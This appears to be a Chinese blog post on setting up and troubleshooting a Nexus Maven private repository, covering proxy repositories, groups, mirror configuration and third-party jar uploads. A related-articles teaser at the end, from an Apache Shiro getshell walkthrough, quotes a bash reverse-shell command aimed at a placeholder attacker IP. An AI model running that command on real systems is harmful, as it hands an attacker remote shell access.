Maven私服使用经验总结
我是使用nexus2.11.2在centos6.5上搭建的私服,以下是总结我这几天的经验。
1.当你修改pom.xml的时候,eclipse检查的是你本地仓库里的jar包,如果有了,pom.xml文件就不报错,否则报错。
2.使用私服比较方便的几个好处是,不用所有人都从网上下一大堆东西,而且有了私服,其他人都不需要上网,只要私服那台服务器可以上网就行了。
因此,你要首先保证你的私服是可以上网的。如果公司需要代理,那么在nexus管理页里,把代理设置了,具体的位置是
Administration里点server然后再里边我是如下设置的,填写自己的代理服务器IP端口跟账号密码

3.创建一个Repository group,这个是一个仓库组,可以在他的configuration里选择添加那些具体的仓库。
这里最需要的一个肯定是Central,他的镜像地址是http://repo1.maven.org/maven2/也就是maven2的主地址。
所有仓库的Download Remote Indexes,我都设置成true了。
4.自己创建一个proxy Repository,创建这个的目的是,比如我的group里只添加了一个Central,但是发现不够,我还需要其他的包
比如我这个项目里用到了CDH,但是Central这个maven仓库里没有,所以我需要建一个cdh里仓库,通过CDH的maven pom.xml文件可以知道,他的仓库地址是
https://repository.cloudera.com/artifactory/cloudera-repos/
所以我添加如下的配置

5.我添加完4里边的proxy,在将它放进3里的group里,这样3里就也有这个目录了,大家统一用3里创建的group这个仓库。
6.怎么让其他人不上网,而是从私服仓库里下载呢
1)配置自己的pom.xml添加如下配置

<!-- 设定主仓库,按设定顺序进行查找。 -->
<repositories>
<repository>
<id>kora</id> <!--这个ID需要与你新建的组group ID一致-->
<name>Kora Repository</name>
<url>http://10.10.92.244:8081/nexus/content/groups/kora/</url>
</repository>
</repositories>

2)在maven客户端的settings.xml里添加如下配置,放在mirrors标签下边
<mirror>
<id>kora</id>
<mirrorOf>*</mirrorOf>
<url>http://10.10.92.244:8081/nexus/content/groups/kora/</url>
</mirror>
7.一些私有的jar包,在maven仓库里找不到怎么办?使用3rd party这个,第3方的jar包,他是一个hosted Repository
在这里点Artifact Upload,可以上传第3方jar包,每次我都是选择的GAV Parameters,上传后,把3rd这个也加入到第3步建立的group里,这样第3个就也有了。
8.建立的proxy没有下载对应的jar包,这个时候,你选择group,group里也不会有,但是你访问的时候,有的时候,它不会自动下载。
我的做法是,把pom.xml跟settings.xml里的仓库地址,都换成proxy的,然后加一个你想下载的jar的dependency标签,然后,让proxy下载。这样你的group里也就有了,之后再换回group.
9.我发现我的服务器上有jar包,但是maven install的时候还是提示
[ERROR] Failed to execute goal on project kora-monitor: Could not resolve dependencies for project com.kora:kora-monitor:war:1.2.6: Failure to find bitwalker:UserAgentUtils:jar:1.13 in http://10.10.92.244:8081/nexus/content/groups/kora/ was cached in the local repository, resolution will not be reattempted until the update interval of kora has elapsed or updates are forced -> [Help 1]
这是因为,我本地已经有bitwalker这个目录了,但是里边没东西,但是因为有目录,又不会从私服上下了,所以这个只要你删除本地路径,再install就可以了。
10.跟9的问题差不多,提示在服务器上找不到jar,比如oracle驱动,但是我发现,我已经上传到3rd上了,3rd下是有这个jar的,而且group里也有
但是死活就是找不到,于是我把3rd的com.oracle这个包给删了,然后打开group里居然还有com.oracle这个目录,而且里边没有jar包这就很奇怪了,
因为我是把3rd里的com.oracle目录彻底删掉的。为什么group里还有,最后我在group集合里的每个仓库里挨个查找,终于在Central里发现了com.oracle这个目录
跟group里的目录一样,光有目录没有jar包,后来我删除了这个目录,又从新在3rd里上传了带jar包的目录,问题解决了。
11.如果目录结构特别多,不想一个一个上传,可以直接把目录上传到服务器上,我的3rd目录是/usr/local/sonatype-work/nexus/storage/thirdparty
我就把我仓库里的私有jar包直接放进去,就好使了。3rd跟group里就都能看见了
12.Maven编译提示GBK乱码,而你的类是UTF-8的,那么你需要在你工程的pom.xml里添加编码格式,如下:
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
Maven私服使用经验总结的更多相关文章
- 掌握 Maven 私服
前言 在 Java EE 开发中,我们使用 Maven 构建工具主要来管理项目的第三方库的依赖,以及公司内部其他项目服务的依赖.因此 Maven 私服就是必不可少的一环,本文主要对 Maven 私服的 ...
- CentOS7-Docker 搭建Maven私服
使用Docker搭建Maven私服 前言本文主要介绍,使用Docker创建一个nexus私服,然后编写一个Library,上传到私服,然后使用demo工程依赖. 本文不对Maven.Nexus.私服等 ...
- maven私服搭建
一.软件安装 地址:http://www.sonatype.org/nexus/thank-you-for-downloading/?dl=tgz 解压: 启动: >> nexus sta ...
- maven私服搭建(centOS6.5)
maven的好处和私服的应用本文不赘述,私服搭建如下: MAVEN 私服搭建(centOS 6.5 环境) 1. 准备环境,搭建centOS6.5系统环境,略 2. 准备对应的软件包如下: A. ...
- Centos 基础开发环境搭建之Maven私服nexus
hmaster 安装nexus及启动方式 /usr/local/nexus-2.6.3-01/bin ./nexus status Centos 基础开发环境搭建之Maven私服nexus . 软件 ...
- 搭建Maven私服-续
前几天搭建了Maven私服,但是想在外网访问只能通过ip地址,因为公司用的不是固定ip所以,ip地址每次不一样,都要先打开极路由查看一下当前ip才能用,更恶心的是,代码check out只能一次,下次 ...
- 搭建Maven私服
最近从SVN下载的代码,在本地构建时出现了诸多问题,部分依赖下载超时,就想起在局域网搭建Maven私服,废话不说了,在测试服务器上建的已经成功,就随便找台机子再练习一遍顺道写个日志.1.前往http: ...
- Maven私服Nexus3.x环境构建操作记录
Maven介绍Apache Maven是一个创新的软件项目管理和综合工具.Maven提供了一个基于项目对象模型(POM)文件的新概念来管理项目的构建,可以从一个中心资料片管理项目构建,报告和文件.Ma ...
- Maven学习 (四) 使用Nexus搭建Maven私服
为什么要搭建nexus私服,原因很简单,有些公司都不提供外网给项目组人员,因此就不能使用maven访问远程的仓库地址,所以很有必要在局域网里找一台有外网权限的机器,搭建nexus私服,然后开发人员连到 ...
随机推荐
- 基于【 springBoot+jsoup】一 || 爬取全国行政区划数据
一.代码演示 如果中途中断,可进行刷选过滤已拉取省份数据 /** * TODO * * @author kevin * @createTime 2019-11-18 19:37 */ @RestCon ...
- 【转载】C#使用Except方法求取两个List集合的差集数据
在C#语言的编程开发中,针对List集合的运算有时候需要计算两个List集合的差集数据,集合的差集是取在该集合中而不在另一集合中的所有的项.A集合针对B集合的差集数据指的是所有在A集合但不在B集合的元 ...
- Linux查找文件之Find命令
Linux系统文件中常用属性包括以下内容:名称,大小,权限,属主,属组,修改时间,访问时间等.在庞大的Linux系统中查询文件,需要借助查找工具来实现,依此可以查询相同或指定属性的文件,本文所讲的查询 ...
- HTML中的标题<h1>标签的用法!
在HTML中,<h1>标签是命名标题的元素,并且在网页中起到了很重要的作用,但是不要只是因为想要弄成黑粗字体就使用<h1>标题标签这样不好.如果说你还想要做完网站后需要进一步做 ...
- JavaScript CryptoJS库 加密与解密
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- 【实战】Apache shiro<=1.2.4 getshell
方法一 利用JRMPClient 反弹shell方式 Bash: bash -i >& /dev/tcp/attackIP/7777 0>&1 /bin/bash -i & ...
- python 将字符串中的unicode字符码转换成字符
将字符串str =’\u98ce\u534e\u7684\u51b2\u950b'转换成汉字显示 可以直接print输出 print u'\u98ce\u534e\u7684\u51b2\u950b' ...
- cocos-js 精灵移动转圈
cc.Class({ extends: cc.Component, properties: { carModel: { default: null, type: cc.Sprite }, bgMode ...
- ceph集群部署(基于jewel版)
环境 两个节点:ceph1.ceph2 ceph1: mon.mds.osd.0.osd.1 ceph2: osd.2.osd.3 网络配置: ceph1: 管理网络,eth0,10.0.0.20 存 ...
- Hive笔记及配置
Hive 基于Hadoop的数据仓库工具: 将结构化的数据文件,映射为一张表,并提供类SQL查询功能: 本质:将HQL转化为MapReduce程序: Hive处理的数据存储在HDFS: Hive分析数 ...